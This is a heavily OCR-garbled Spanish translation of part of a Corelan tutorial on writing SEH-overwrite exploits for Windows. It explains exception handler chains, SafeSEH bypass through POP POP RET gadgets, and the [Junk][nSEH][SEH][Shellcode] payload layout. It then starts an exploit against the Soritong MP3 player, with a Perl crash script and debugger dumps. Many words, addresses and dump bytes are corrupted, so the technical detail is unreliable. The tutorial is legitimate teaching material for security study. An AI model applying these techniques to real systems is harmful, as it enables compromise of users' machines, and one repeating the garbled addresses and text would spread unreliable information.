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lvinson/CLS

En los primeros 2 tutoriales, he explicado como cioma un
desbordamiento de buffer clasico y como puedesrhatexploit seguro
usando varias técnicas para saltar a la Shelld@dejemplo que hemos
usado nos permitié sobrescribir EIP directamentigvimos un espacio de
buffer algo grande para alojar nuestra Shellcodderdas, pudimos usar
técnicas de salto multiples para lograr nuestretoinj, pero no todos los
desbordamientos son asi de faciles.

Hoy veremos otra técnica que va desde la vulnédabilal exploit usando
manejadores de excepciones.

¢, Qué son manejadores?
Un manejador de excepciones es un trozo de codigeseg escribe dentro
de una aplicacion con el préposito de tratar cameeho que la aplicacion

lance una excepcion.

Un manejador de excepciones tipico se ve asi:

/Irun stuff. Si ocurre una excepcion, anda al codi go <catch>

/I Ejecuta algo si ocurre una excepcion

{
}
{
}

Una vista rapida en el Stack de como los bloqueJrgiey Catch son
relacionados entre si y colocados en el Stack.
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Tope del Stack

Codigo del manejador
de excepciones

catch {

}

Parte inferior de Stack

Ivinson/CLS

Variables locales

EBP guardado

EIP guardado

Parametros

Dir. del manejador

J\.

Bloque de manejo de
excepciones

try {
}

>~ Mas bloques

Nota: “la direccion del manejador de excepcionass@o un registro de un

SEH.

La imagen de arriba es una representacién abstoamstasolo muestra

varios componentes.

Windows tiene por defecto un SEH (Manejador estnacto de
excepciones) que capturara las excepciones. Si dlsdcaptura una
excepcion, veras un mensaje diciendo, “XXXX ha etrealo un problema
y debe cerrarse”. Esto es amenudo el resultadondenanejador por
defecto. Es obvio que para escribir software estatéberiamos tratar de
usar manejadores de excepciones especificos dpldga de desarrollo, y
solo dependen del SEH de Windows por defecto cohmmalrecurso.
Cuando se usan MdE de lenguaje, los enlaces y diasnal codigo al
manejado de excepciones se generan de acuerdd 8@hsibyacente. Y
cuando no se usan los manejadores o cuando logadares disponibles
no pueden procesar la excepcion, se usara el SEHWmhelows.
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(UnHandlerExceptionFilter). En el evento, ocurre emor o instruccion
ilegal. La aplicacion tendra la oportunidad de aegotla excepcion y hacer
algo con ella. Si no se define ningln manejadorS@Il se hace cargo,
captura la excepcién y muestra el mensaje pidiendpie “Envies el
Reporte de Error a MS”.

Para que la aplicacion pueda ir al cédigo de captirpuntero al cédigo
del manejador se guarda en el Stack (por cada éldgucodigo) cada
bloque de cddigo tiene su propio marco de StackotEas palabras: cada
funcion/procedimiento consigue un marco de StaclseSmplementa un
manejador en esta funcion/procedimiento, el maejadnsigue su propio
marco de Stack. La informacién acerca del manejadsado en el marco
se almacena en el Stack en una estructura excegggstration.

Esta estructura (también llamada registro SEH) eS8 dytes y tiene 2
elementos (4 bytes):

« Un puntero a la proxima estructura exception_tegien (en
esencia, al proximo registro SEH, en caso de queakjador actual
no pueda manejar la excepcion)

 Un puntero a la direccion del cédigo actual del ejtor (SE
handler)

Vista simple del Stack de los componentes de lara&EH:

stack

Tope
Wi
% Puntero al signiente registro SEH | »| Exception_handlerl()
= . .
i Puntero al manejador de excepciones
™
uw
;*.-;,;‘J j Puntero al siguiente registro SEH j "| Exception_handler2()
: L Puntero al manejador de excepciones :
[a]
i
% Puntero al signiente registro SEH [ >| Exception_handler3() ‘
A |
2 Puntero al manejador de excepciones
™~
w
g 0xFFFFFF | > MSVCRTlexhandler
0 ! .
A .
& Manejador por defecto
w Parte inferior
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En la parte superior de los blogues de datos pates (los de la funcidn
“main” de la aplicacion o TEB [Blogue de Entornoldiéo] / TIB [Bloque
de Informacion de Hilo]) o se coloca un puntercaechdena SEH. Esta
cadena es llamada a menudo cadena FS:[0].

Entonces, en maquina Intel, cuando se busca elgadédel SEH
desensamblado, veras una instruccion que mueve [MVER desde
FS:[0]. Esto asegura que el manejador sea conéigysara el hilo y podra
capturar errores cuando ocurran. EI Opcode para estruccion es
64A100000000. Si no puedes encontrar este Opcadaplicacion/hilo
puede que no tenga manejo de excepciones en absolut

Alternativamente, puedes usar un plugin de Ollgnddo OllyGraph para
crear un Function Flowchart.

La parte inferior de la cadena SEH es indicada fpeFFFFFF. Esto
causara un cierre incorrecto del programa y sevaétiel manejador del
SO.

Ejemplo rapido: compila el siguiente cddigo (setwae) y abre el
ejecutable en Windbg. No ejecutes la aplicacion Bxé@jala en pausa.

#include<stdio.h>
#include<string.h>
#include<windows.h>

int ExceptionHandler(void);
int main(int argc,char *argv[]){

char temp[512];

printf("Application launched");

_try {
strcpy(temp,argv[l]);

} __except ( ExceptionHandler() ){
¥
return 0;
¥
int ExceptionHandler(void){
printf("Exception");
return 0;

}
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Mira los mddulos cargados:

Executable search path is:

ModLoad: 00400000 0040c000 c:\sploits\seh\lcc\sehtest.exe
ModLoad: 7c900000 7c9b2000 ntdll.dll

ModLoad: 7c800000 7c8f6000  C:\WINDOWS\system32\kernel32.d1ll
ModLoad: 7e410000 7e4al000  C:\WINDOWS\system32\USER32.DLL
ModLoad: 7710000 77159000  C:\WINDOWS\system32\GDI32.d1ll
ModLoad: 73d90000 73db7000  C:\WINDOWS\system32\CRTDLL.DLL

La aplicacion esta entre 00400000 y 0040c000.

Busca esta area para el Opcode:

0:000> s 00400000 1 0040c000 64 Al
00401225 64 al 00 00 00 00 55 89-e5 6a ff 68 1c ad 40 00 d..... U..j.h..@.
0040133f 64 al 00 00 00 00 50 64-89 25 00 00 00 00 81 ec d..... Pd.%......

Esta es una prueba de que esté registrado un rdandpumpea el TEB:

0:000> d fs:[0]

003b:00000000 Oc fd 12 00 00 00 13 00-00 e0 1@0000 00 QO ................
003b:00000010 00 1e 00 00 00 00 00 00-00 fO @070 00 OO0 ................
003b:00000020 84 0d 00 00 54 Oc 00 00-00 00 0000...T..........
003b:00000030 00 do fd 7f 00 00 00 00-00 00 00@OO0 00 OO0 ................
003b:00000040 00 00 00 00 00 00 00 00-00 00 0000 ................
003b:00000050 00 00 00 00 00 00 00 00-00 00 0000 .....cc.........
003b:00000060 00 00 00 00 00 00 00 00-00 00 0000 .....cc.........
003b:00000070 00 00 00 00 00 00 00 00-00 00 0000 .....cc.........
0:000> !exchain

0012fdOc: ntdlllstrchr+113 (7¢90e920)

El puntero esta hacia 0x0012fdOc (comienzo de tkerma SEH). Cuando
buscamos en esa area, veremos:

0:000> d 0012fdoc

e012fdec ff ff ff ff 20 e9 90 7c-30 bO 91 7c 01 00 00 00 .... ..|0..]|....
0012fdlc ©0 00 00 00 57 e4 90 7c-30 fd 12 00 00 00 990 7c ....W..|O...... |
0012fd2c 00 00 00 00 17 00 01 00-00 00 00 00 00 00 00 PO ................
0012fd3c 00 00 00 00 00 00O 00 00-00 0O 00 00 00 PO 00 PO ................
0012fd4c 08 30 be 81 92 24 3e f8-18 30 be 81 18 aa 3c 82 .0...%$>..0....<.
0012fd5c 90 2f 20 82 01 00 0O 00-00 00 00 00 00 00 00 VO ./ .............
0012fd6c 00 00 00 0O 00 0O 0O 0O-00 00 00 00 00 00 00 PO ................
0012fd7c 01 00 00 T4 00 00 00 00-00 00 00 00 00 00 00 PO ................

ff ff ff ff indica el final de la cadena SEH. Eso es normatjymria
aplicacion no ha arrancado aun.
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= WinGraph32 - Graph of 401225

File Wiew Zoom Move Help

S| &a|xe|+| > ole|==| [N

MOV EAX ,DWORD PTR F3:[0]
FlaR EBF

MOV EBFP ,ESF

FUSH -1

FUSH sehtest .0040A01C
FUSH sehtest.00401094 ; Entry address
FUSH EAX

MOV DWORD FTR F5:[0],ESP

SUB ESF,10

FUSH EBX

FUSH ESI

FUSH EDI

MOV DWORD FTR S5:[EBP-18],ESP

MOV DWORD FTR DS:[40A0Z0],sehtest.00401Z19
MOV DWORD FTR S5:[EBP-4],0

LEA EAX,DWORD PTR 53:[EBP-4]

MOV DWORD FTR DS:[40A038],EAK

FUSH EAX

Cuando ejecutamos la aplicaciéon (F5 o ‘g), vemst®:

0:000> d fs:[0]

*** ERROR: Symbol file could not be found. Defaulted to export symbols for ...
003b:00000000 40 ff 12 00 00 00 13 00-00 dO 12 00 00 00 00 00 @.......000uuenn
003b:00000010 00 le 00 00 0O 00 0O 00-00 fO fd 7f 00 00 90 0O ...........0oc...
003b:00000020 84 Od 00 00 54 Oc 0O 00-00 00 00 00 00 00 V0 00 ....T...........
003b:00000030 00 do fd 7f 00 00 00O 00-00 00 00 00 00 00 00 OO ..........c000n.
003b:00000040 a0 06 85 €2 00 00O 0O PO-00 0O 00 00 00 00 PO OO ............c...
003b:00000050 00 00 00 00 00 00 OO PO-00 00 00 00 00 00 PO 0O ................
003b:00000060 00 00 00 00 00 00 0O PO-00 00 00 00 00 00 PO 0O ................
003b:00000070 00 00 00 00 00 0O OO PO-00 00 00 00 00 00 PO 0O ................
0:000> d 0012ff40

0012ff40 bo ff 12 00 d8 9a 83 7c-e8 ca 81 7C 00 00 00 00 ....... [ ]....
0012ff50 64 ff 12 00 26 cb 81 7c-00 00 00 00 b0 f3 e8 77 d...&. .|....... w
0012ffe0 ff ff ff ff cO ff 12 00-28 20 d9 73 00 00 00 0 ........ ( .s....
0012ff70 4a f7 63 01 00 do fd 7f-6d 1f d9 73 00 00 00 6@ J.C.....m..S....
0012180 00 00 00 00 00 00 00 00-ca 12 40 00 00 00 0 60 .......... @.....
0012ff90 ©00 00 00 00 f2 f6 63 01-4a f7 63 01 00 do fd 7f ...... CodoCooooo
0012ffa@ 06 00 00 00 04 2d 4c f4-94 ff 12 00 ab 1c 58 80 ..... =Locooooo X.
0012ffbo e0 ff 12 00 9a 10 40 00-1c a0 40 00 00 00 00 00 ...... @...@0.....

El TEB para la funcion principal esta configurathoa.

La cadena SEH para la funcion principal apunta @002ff40, donde el
manejador esta listado y apuntara a la funciomaelejador (0x0012ffb0)
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En OllyDBG, puedes ver la cadena SEH mas facilmente

EM SEH chain of main thread O] x|

Address |SE handler -
BE12FF48| kerne | 32, FCE839A0S
BE12FFBA| sehtest . BA4E1E9A
BE12FFEA| kerne |32, FCE29A0S

Hay una vista similar en Immunity Debugger — Da ain "View" y
selecciona "SEH Chain".

Stack:

FE12FF3C| F3DA1639| RETURM to CRTOLL.FS0A1639 from ntdll.Rt ILea
BE1Z2FF48d| BE12FFBE| Pointer to nedt SEH record

HE12FF44| PCE39A0S( SE handlexr

Galz2FF4s| YCE1CAES| kernel32. PCE1CAES

EALIZFF4C| BEEREEE88
EE1ZFFEE | roal2FFed
HE12FFE4 || FCEBICEB26| RETURH to kernelZ32.YCEICE2E from kernel32. 70
FE1ZFFEE| | DEEREaEaa
HEE1ZFFEC|| FFESF3EBE| RPCRTY. FFESF3ER
HEA12FFEE|| FEFFFFFFF
BE1ZFFE4 | mBR12ZFFCA
GE12FFES|| 73092828 RETURH to CRTDLL.VED092828 from kernel32.Exid
EE1ZFFEC|| BEEaEaEaa
EE12FF7E(| FEFFFFFF
HE1ZFF74 || YFFOEBEE
HE1ZFFFE(| 7S091F60( RETURH to CRTOLL.VE091F&0 from CRTOLL. F3DILE
FELIZFFFC|| BEEa@aaa
HA1ZFFEE || BEEREEaEE
HE1ZFFE4 || DEEEEaEaa
HE12FF2E|| 80481 2CA| RETURH to sehtest.<Modu leEntrwPoint »+BAS fro
EE1ZFFEC|| BEEaEaa8aa
EE1ZFF2E (| DoE@Eaaa
AE1ZFF24 || FCR1E228 | ntdl 1. YCR1E228
HE12FF3E(| FEFFFFFF
EE1ZFFAC|| FFFOEBEE
FA1ZFFAE || BEEEEEEE
HE12FFA4 || FE1ESDE4
EA1ZFFAS|| Bal2FFo4
EA1ZFFAC|| S85S1CAE
BE1ZFFED| | BE12FFEB| Pointer to nexdt SEH record
FE1ZFFE4 || BE4B189A( SE handler

FE1ZFFES|| BE4BRBIC| sehtest . BE4BRABIC

FE1ZFFEC || BEEEEaEa8
EA1ZFFCE | LEa12FFFA
HE12FFC4| PCE17E7F|RETURH to kernel32.7CEIFPEFY
GE1ZFFCE| PC918228 | ntdl 1. 7918228

EA1ZFFCC| FFFFFFFF
EE1ZFFOE| YEFFOE@@E
FE1ZFFO4| ESBE4BEES
FE1ZFFOS| BE1ZFFCE
HEE1ZFFOC| S183EB33 _I
HA12FFEE| FFFFFFFF|End of SEH chain

HE12FFE4| 7PCE39A02( SE handlex

HE1ZFFES| 7PCE17E5A|kernel32.7CE17EEA -

Aqui, podemos ver un puntero a nuestra funcion ohnejador
ExceptionHandler() (0x0040109A).

De todos modos, como puedes ver en la explicaagbejdmplo de arriba
en la ultima captura de pantalla, los manejad@st&s@nectados/enlazados
mutuamente. Forman una cadena de lista enlazadh $tack, y queda
relativamente cerca de la parte inferior del StéCladena SEH). Cuando
ocurre una excepcion, la APl ntdll.dll de Windowalts, recupera la
cabecera de la cadena SEH (se queda en la padgosugel TEB/TIB,
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recuerda), pasa por la lista y trata de encontrara@ejador adecuado. Si
no encuentra ninguno, usaré el manejador Win32lpfacto de Windows
(al final del Stack el que esta después de FFFFRFFF

Vemos el primer registro del manejador SE en 00EZBF La proxima

direccibn de SEH apunta a préximo registro de SBBILZFFBO). El

manejador actual apunta a 7C839AD8. Parece queesstma clase de
manejador del SO. Los punteros van hacia un matkli§O.

Entonces, la segunda entrada del registro de SEHaecadena (at
0012FFBO0) tiene los siguientes valores: el proxi®BH apunta a
0012FFEO. ElI manejador apunta a 0040109A. La divaces parte del
ejecutable. Parece que este es un manejador gedacan. Finalmente, el
altimo registro de SEH en la cadena (en 0012FFiEedetFFFFFFFF en
NSEH. Esto quiere decir que esta es la Ultima eéaten la cadena. El
manejador apunta a 7C839AD8, el cual es un maneged&O de nuevo.

Entonces, poniendo todas las piezas en su lugagdana SEH completa
se ve asi:

Stack

TES

FS[0] : 0012FF40 I

0012FF40 : 0012FFBO :Préximo registro SEH
0012FF44 : 7C839ADS8 : Manejador SE

v

0012FFBO : 0012FFEO :Préximo registro SEH
0012FFB4 : 0040109A : Manejador SE

0012FFEO : FFFFFFFF : Proximo registro SEF
0012FFE4 : 7C839ADg : Manejador SE

(Fin de cadena)
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Puedes leer mas acerca del SEH en el excelentalartie Matt Pietrekc
de 1997 en inglés:

http://www.microsoft.com/msj/0197/exception/exceptaspx

Cambios en Windows XP SP 1 en cuanto al SEH
y el impacto del GS/DEP/SafeSEH y otros
mecanismos de proteccion contra exploits

XOR para poder escribir un exploit basado en sacbrégara del SEH,
necesitaremos hacer una distincion entre WindowspdPSP1 y SP1 y
superior.

Desde Windows XP SP1, antes de que se llamaranajator, todos los
registros eran XOReados entre si. Haciéndolos apumbdos a

0x00000000, lo que complica lo construccion de @il por no lo hace
imposible. Quiere decir que puedes ver uno 0 mgistres apuntar a tu
payload en la primera oportunidad de excepciém paando salte el EH
(Manejador de excepciones), estos registros sgpidohos de nuevo. Asi
gue no puedes saltar directamente para ejecugdlliocode. Hablaremos
de esto luego.

Cookies del Stack y DEP

Las cookies del Stack (via opciones del compilad@ar+) y DEP
(Prevencion de Ejecucion de Datos) fue introduc{fdsmdows XP SP2 y
Windows 2003). Escribiré un tutorial completo de tmokies del Stack y
DEP. Solo necesitas recordar que estas 2 técniceeslep hacer
significantemente mas dificil la construccion dpleis.

SafeSEH

Se agregd6 una proteccion adicional a los compiesj@yudando a parar el
abuso de sobreescritura del SEH. Este mecanismmtixcion esta activo
para todos los médulos compilados con SafeSEH.

Windows 2003

Se agregd mas proteccion bajo Windows 2003 seN@rdiscutiré estas
protecciones en este tutorial (revisa el tutorida@ucido por Ivinson para
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mas informacién) porque se complicarian las cosagste punto. Tan
pronto como domines este tutorial, estaras lista per el tutorial 6.

XOR, SafeSEH, pero ¢como podemos usar el
SEH para saltar a la Shellcode?

Hay una forma a traves de las protecciones SafgSKER 0x00000000.

Ya que no puedes saltar simplemente a un registiqup los registros son
XORearos (puestos a cero), se necesird una llammadaa seria de
instrucciones en una DLL.

Deberias tratar de evitar usar una llamada delcespl@ memoria de una
DLL especifica de un SO. Pero mejor usa una dibecde una DLL de la
aplicacidon para hacer el exploit mas seguro (asuiniejue esta DLL no
estd compilada con SafeSEH). De esta forma, lecaie serd “casi”

siempre la misma. Independientemente de la verd#dr5O. Pero, si no
hay DLL’s y hay un mdodulo del SO cargado sin Saké$Eeste modulo

contiene una llamada a esas instrucciones, entumoeeisnara también.

La teoria detras de la técnica es: si podemos suiise el puntero al
Manejador Estructurado de Excepciones, a partahaea lo llamara como
lo vemos en los depuradores en inglés “SE handigig,se usara con una
instruccion producida, y podemos hacer que la aglnn lance otra
excepcion (una forzada). Podriamos tener el cofdrehndo la aplicacion
para que salte a la Shellcode, en vez de saltrfuntion del manejador
real. La serie de instrucciones que lograran e€® POP RET. El SO
entendera que la rutina de manejo de excepcionssdbaejecutada y se
movera al proximo SEH o al final de la cadena SEHpuntero a esta
instrucciéon deberia ser buscado en EXE’s o DLLfgathos, pero no en el
Stack (los registros seran de nuevo inserviblesylriBs tratar de usar
ntdll.dll o una DLL especifica de la aplicacion.

Una nota rapida: hay un excelente plugin de Gédlsnhda OllySSEH:

http://www.openrce.org/downloads/details/244/0II¥E65 que escaneara
los modulos proceso cargados e indicara si est@itamos con SafeSEH o
no. Es muy importante escanear las DLL"s y usatirleccion POP POP
RET de un mdédulo que no esté compilado con SafeSktldstas usando
Immunity Debugger, entonces puedes usar el plugefinpdaddr para
buscar punteros (p/p/r) de SEH. Este plugin fiftrautomaticamente los
punteros invalidos de los moédulos SafeSEH, etc.ambién buscara
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combinaciones p/p/r. Recomiendo mucho usar Immubgbugger y
pvefindaddr.

Normalmente, el puntero al proximo registro SEHteme una direccion.
Pero para hacer un exploit, necesitamos sobregbxrion Jumpcode
pequefio a la Shellcode que estara en el bufferdiat@enente después de
sobreescribir el SE handler. La secuencia POP PEP 4@ asegurara de
gue se ejecute este codigo.

En otras palabras, el payload debe hacer lo sitgiien

1. Causar una excepcion. Sin una excepcion, el SEH hlpse
sobreescrito/controlado no se activara.

2. Sobreescribir el puntero al proximo registro SEHn calgun
Jumpcode (para que pueda saltar a la Shellcode).

3. Sobreescribir el SE handler con un puntero a ustuiccion que
traiga al proximo SEH y ejecutara el Jumpcode.

4. La Shellcode deberia estar directamente despuéSkEdhandler
sobreescrito. Algun pequefio Jumpcode contenidd pargero al
préximo registro SEH sobresescrito saltara a el.
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Access violation / exception es activada

(1) Se activa el manejador de . T
excepceiones ( )Plllltﬂl_"ﬂ al proxmmo e
sobreescrito con salto a la Shellcode.
> Puntero al préoximo SEH p| Shelicode
> SE Handler actual
(2) El SE handler actual fue sobreeserito

y apunta al POP POP RET

pop.pop,ret

(3) Durante ¢l prélogo de manejador, la
direccién del puntero al préoximo SEH fue
puesta en el Stack en ESP+8. pop pop ret
pone esta direccion en EIP y permita la
gjecucion del codigo en la direccion del
puntero al proximo SEH

Como expliqué al principio del tutorial, no podnaber manejadores en la
aplicacion (en ese caso, se encarga el manejati@Qley tendras que
sobreescribir muchos datos hacia el final del Stadka aplicacién usa su
propio manejador y en ese caso, t0 puedes elegint@uquieres
sobreescribir.

Un payload comun seria asi:
[Junk][nSEH][SEH][Nop-Shellcode]

Donde nSEH es el salto a la Shellcode, y SEH esrefeaencia al POP
POP RET.

Asegurate de escoger una direccion universal palveesscribir el SEH.
Trata de buscar una buena secuencia en una dellas @e la aplicacion.

Antes de ver como construir un exploit, veremos addily y a Windbg
pueden ayudar a trazar el manejo de SEH y astirla construccién de un
payload correcto.
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La siguiente prueba esta basada en una vulnebitjde fue publicada la
semana pasada (20 de julio de 2009).

Veamos el SEH en accion - OllyDBG

Cuando se produce un Desbordamiento de Pila regdhrescribimos la

direccion de retorno (EIP) y hacemos que la aplitasalte a nuestra
Shellcode. Cuando hacemos un desbordamiento de &kttinuaremos

sobrescribiendo el Stack después de sobrescriBiy &itonces podemos
sobrescribir el manejador por defecto también. ¢C00s permite explotar
una vulnerabilidad? Pronto lo sabremos.

Encontremos una vulnerabilidad encontrada en SwritdP3 player 1.0,
publicada el 20 de julio de 2009.

Descargar copia local:

https://www.corelan.be/?dl id=38

La vulnerabilidad apunta a un archivo de skin imalque produce el
desbordamiento. Usaremos el script de Perl basaca grear un archivo
llamado Ul.txt en la carpeta skin\default:

$uitxt = "ui.txt";
my $junk = "A" x 5000 ;

open(myfile,">$uitxt") ;
print myfile $junk;

Ahora, abre Soritong. La aplicacion muere sileranosnte (probablemente
porque se ha activado el manejador y no ha podidorgrar una direccion
de SEH funcional) porque hemos sobrescrito la diéec

Primero trabajaremos con Ollydbg o Immunity parastras claramente el
Stack y la cadena SEH. Abre Ollydbg o Immunity ygeael ejecutable
soritong.exe. Presiona el boton “Play” para ejacldaaaplicacion. Poco
después, la aplicacion muere y muestra esta pantall
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4 % s EER I I i

lasciy

M P 3

P L .A Y
Version 1.0

1999, Sorinara,
Al rights reserved. |FE

(FPU)

ERY 00120000 1
ECX FFFFFFCC
EDK 000008CC

a2

BIEDFIH

EBF 3%
ESI GBI?FdFd
EDI @012FD54

EEE
-

fa L BRI TR o i T )
DD DD D
00 M

DB B

ET8 emptiy
STl erpty B
ST2 erpty
ST empty
ST4 empty
515 e

STE empty
STV empty

F5T ai2a
FCul 1272

E R

S

EER8R

G5 8988 1Ll

LastErs
EFL 88010286

mpty 22, 176470588232 92600

Last cnnd BO1B1B041FS20 Sor | Tong, 8841F820

XM FEA324R4 BFESGEECF EFSOABE2
X1 Beopaeea BCTIADEE FBEIZ35B
HHMZ BOa02ER] 1340188 SB4DEFEC
XHHE BDROAZIE BODCOGA0 201

M4 EROBGDOG
J(I‘ﬂg ?E4194FIFI B‘GB%BB‘B BR12FT74 DR
BEGAAZIE B

AR

5 533] 1?’3243] 416933?09—4932

a. BBWMEEdE?QlEIBGBE—'W?E
4532, B034602976
23237, ?SESS?S‘B@G?H?B

Eeq'a’s.eeaawaamama
Cond @ @ 8 i
Preos HERAR,S3

Err'tlil-i' )
Nazk

2FTCE QDOE00a0
TLOREGLS PB12FERC

Final de cadena SEH (FFFFFFFF

{ | RETURM #rom

1| RETURN £rom ntdli. Rt IFilIMemoryUiong to nedl L. 70948871

T RETURH from ntdl|. PCOSERRT
ntdll.

to ntdl
VCFRESRE o ntdll

1 TLOHE
1. 7912

SR

8%
85,

P i

T Rt roerHUSERSE T PEH I BoBa—
bR

” ERS2 - TESTORER
Mt bl s

La aplicaciéon ha muerto en 0x0042E33. Aqui, EShtpa 0x0012DA14.
Méas abajo del Stack (en 0012DA6C), vemos FFFFFHid-Eual parece
indicar el final de la cadena SEH. Directamenteparde OXFFFFFFFF,
vemos 7E41882A, que es la direccion del manejadordefecto de la
aplicacion. Esta direccion esta en el espacio meclones de user32.dll.

3] Executable modules

Base Size Enti | Hame File wversion Path

EOE906E0 | BOBSHBEE | SORSS4EA | COMCTLSE | 5. 52 (Rpsp. 0504 Gt ~WIHD0WS -5

7 1AAPEER| BERGSEEE | 71RA163S | WS2HELP |S.1.2608.5512 (f C: =WINDOWS-3

71AEREEG| BEE17E60 | FIAE1ZFE| WSZ_32  |E.1.26B0.5E12 (] C:-WINDOWS-<

7 1ADBEEG| BERE9R6E | F1A01629| WEOCK32 |C.1.2606.E512 (] C:-WIHDOWS 2 . .

7201 06E0| BERE2REE | F2015575 | meacn3e |G.1. 26008 (spc|C:~WINDOWS-=i| Loading Skind.
72O2O6E0| BERGIR6E | FZ024300 | wdmaud | G.1.2E80.E512 ({ C: ~WIHDOWS=

72AEAREA| BEAZEREE | FIBRSAAE | WINSPOOL| 5. 1.260@.5512 (] C: ~WIHDOWS x;

74720BE0| BOR4CH08 | P47Z12A5| MSCTF | 5. 1.268@.5512 ) Ci-WIHDOWS =) R
FESCAREE | BEAZERAE| FSE0SFEL | Mectf ime| 5. 1. 2600, 5512 (] C: ~WIHDOWS 2y Stem3ZMactf LMe. iMe
FEZO00EE| BEA108RE | FES91200| IMM32 | S.1.2688.5512 (] C:~WIMDOWS~systen3=~IMAS2. OLL
7EOEOEER| BER49060 | FE2E1619| COMDLGS2| 6. 80, 2906, 5512 | C: ~WINDOWS -2y ctend2 COMOLGEZ, d1 L
7EE4BREE| GEO20800 | FEE42RE1 | WINAM | 5.1, 2680, 5512 (f C: ~WINDOWS 2y stem3 W IHAM, AL |
FECIRRER| BEAZERRE | PECA1529 | WINTRUST|E. 151, 2668, 5512 C: ~WINDOWS 2y st end2 W INTRUST. d1 1
TECIOREA| BEAZSR6E | FECa1260| IMAGEHLR| .1, 2688, 5512 1 C: ~WINDOWS 2y <t en32~ IHAGEHLP. dL |
7EESARER| BEAEERAE | PEES1EAD| rtutils |G.1.2600.5512 (] C:WINDOWS-syetend2otut ils.dll
7EEEDEEG| BER2FREE | PEEE1ZRE| TAPIS2 | 5. 1.2608.5512 ) Ci-WIHDOWS-sy=tem3e~TAPIZ2, d1 1L
77120680 | BEASEREE | F7121568| OLEATS2| 5. 1. 26P8.5512 | Ci~WINDOWS sy =ten3a~0LEATE2, dL 1
77oDBGER| 68163068 | 7304256 | comct L 1| 6.8 [xpsp.B9041] C: =W IHDOWS - inSs 5 56_Hicrosoft.
7PAERREE| BB1 30800 | F74F0BES| OLESZ | 5.1.2680, 5512 (f C:~WINDOWSsystem3z~OLESE, dl |
FYOSREE0| BERICAAE | FYAS1632 | CRYPT22 |E.1521.2660. 5512 O WINDOWE 2y st end 2~ CRYPTEZ, d1 1
77E2R6E0| BE61 26060 | FPE2S299| HSASH1 |G, 1. 260E.E512 (4 C: ~WIHDOWS sy =tem32~HEOSH1 . d1 |
77EDAREG| GEAGTE0E | FPEDSSE0| midimap |G.1.2688.5512 (] O IHDOWE 2y stend2midinap. dl 1L
77EEAREA| BEA15068 | FPEELZ92 | MSACHE_1| 5. 1. 2600.E512 (] C: WINDOWS 2yt en32~MSACHEZ. d1 L
77COREER| BERESEEE | FFCE1195 | VERSION |S.1.2608.5512 (f Ci-WINDOWS-systen32~UERSION. 11
77C10680 | BEASSEAE | FFCLIF2AL | mevort | 7.8, 2608.5512 () Ci~WIHDOWS-sy=tem3e mavort dl |
7700PEER| BEASEREE | 77007 16E| AOVAPISZ| 5. 1. 2608. 5755 (] C:-WINDOWS-systenda~BOVAPISZ, dLL
77ErBEEE| BRRI2ER0| FYETE2EF | RPCRT4 | 5.1.2688. 5798 (f C: W INDOWS system32~RPCRT4. dl |
77F10000| 0049800 | 7FF16687| D122 | 5.1, 2680, 5598 (f C:~WINDOWS-system3s~GOI22. dl 1
77FERBER| BEAFEREE | FPFEE1FE| SHLWAPT | &.8@, 2966, 5512 | C:~WINDOWE -2y sten32~SHLWOPT. 11
77FEGBEA| GB61 1666 | FPFEZ126 | Secur32 |E.1.2688.5753 (f O WINDOWS-systend2Secura2. dl 1
7CORARER| BEAFEREE | FUSBEGIE | kerne 22| 5. 1. 2608.5731 (] C: ~WINDOWS-systemdz kerne 122, dL1
7COBREEE| GOEE2R0E | FUO12C4S | ntdl | 5.1,2600, 5755 (1 CiINDOWS systen3z ntdl [, dll
O ARAA L AA=S1 FARAR L FCAEFAELS L SHEL L =22 P [ e L= | I = =) .

[FEa1pemn| eras160R| FE41E217| USERSZ | G.1.2608.5512 | C:\mIHDDNS\iyitENSE\USEREE.dll ]




Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

Un par de direcciones mas altas en el StackerRos ver algunos
manejadores mas, pero todos pertenecen al SO. €ntdkte caso). Parece
gue esta aplicacion (o por lo menos, la funcién fgedlamada y causoé la
excepcion) no tiene su propia rutina manejador@xdepciones.

BEARECAA
BE1Z0A1E| BEREEEEE
HE1Z0AIC) 8000588
HE1Z0AZE| BERBEEEA
HE1Z0A24 | Ba1z0A24
HE1Z0AZE| BEREEEEE
BE1Z0A2C) BA1SC4123|(UMICODE "noalrope™
BE1Z0AZE| BEREEEEE
BE1Z0A24 | BEREEEEE
BE1Z0AZE| BEREEEEE
AEdonasc]  ARAREEAR
BE1Z20R48| FC2485324(BETURM to ntdll.FC945594 from ntdl L. FCISHEET
AA120A44) FCA12867 [ RETURM to ntdll. CO12567 from ntdl . FCIEESEG
= AT ZEERH
BE1Z0A4C) BERBEEEE
BE1Z0ASE| BEF2REE1
BE1Z0AS4 | BEREEEE 1
AElzpAce]  HA]P0AZS
EE 1 SOHEs | PLAqBEr] | RETORA to ntdl L. rloedberl from ntdl LRt IFLL IHenorydlong |
EETZLUHCE Bl EDDG
aoalziped) FTE44643F | ISERD, TE44845F

Cuando miramos los hilos (View — Threads), selew@mos el primer hilo
(el cual se refiere al inicio de la aplicacién).rdic derecho y ‘dump
thread data block’, podemos ver el puntero a l@cadSEH:

Threads

Ident Oata block|Last error Status
BEERAE4E| HB4A18AR| FFFOFARE ERROR_SLCCESS [(BEEERRARE) Act ive
BEEEER4S | YC2186F9 FFFOEQEE ERROFR_SLUCCESS [(QE0RHEEE) Act ive

& CPU - main thread, module So

AR422EZS 8D8415 E4FOFF LEH ERE, DMDRD FTR 55z [EEF+EDS-2104 Re
AR422E2C ae CHNBT G i Tora BERASPESE

ERROF_SUCCESS [ BREEAREAR)
ERROF_SUCCESS [ BAEEAREAEA]

m Dump - FFFDFO00.. 7FFDFFFF

YFFOFEEAE | BE12F064 | (Pointer to SEH chaind
YFFOFEES | BE1 38EEH| [ Top of thread's stack)
YFFOFEEs| BBl 2C88H| (Bottom of thread's stack)
YFFOFEEL | BBE0EEEER
YFFOFE1E| BEER1EAD
YFFOFEL4 | BEE0EEER
—=— FFFOFE1%| FEFFOFBQE
FYFFOFELL| BEEHEEER
YFFOFE2E | BEEEE0AC
YFFOFEZ4 | BEEEEE4E| [ Thread IO
YFFOFE2E | BEA0EEEER
FFFOFEZC| B8142A88| (Pointer to Thread Local Storagel
t PFFOFE2E| YFFOSREE
¢ FFFOFEZ4 | BOBBE0Ea| (Last error = ERROR_SUCCESS]
¢ FFFOFEZE| B0EBaa0Ea
TFFOFEEC | BEEHEEER
¢ 7YFFOF@4a| E1SEFSFA




Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

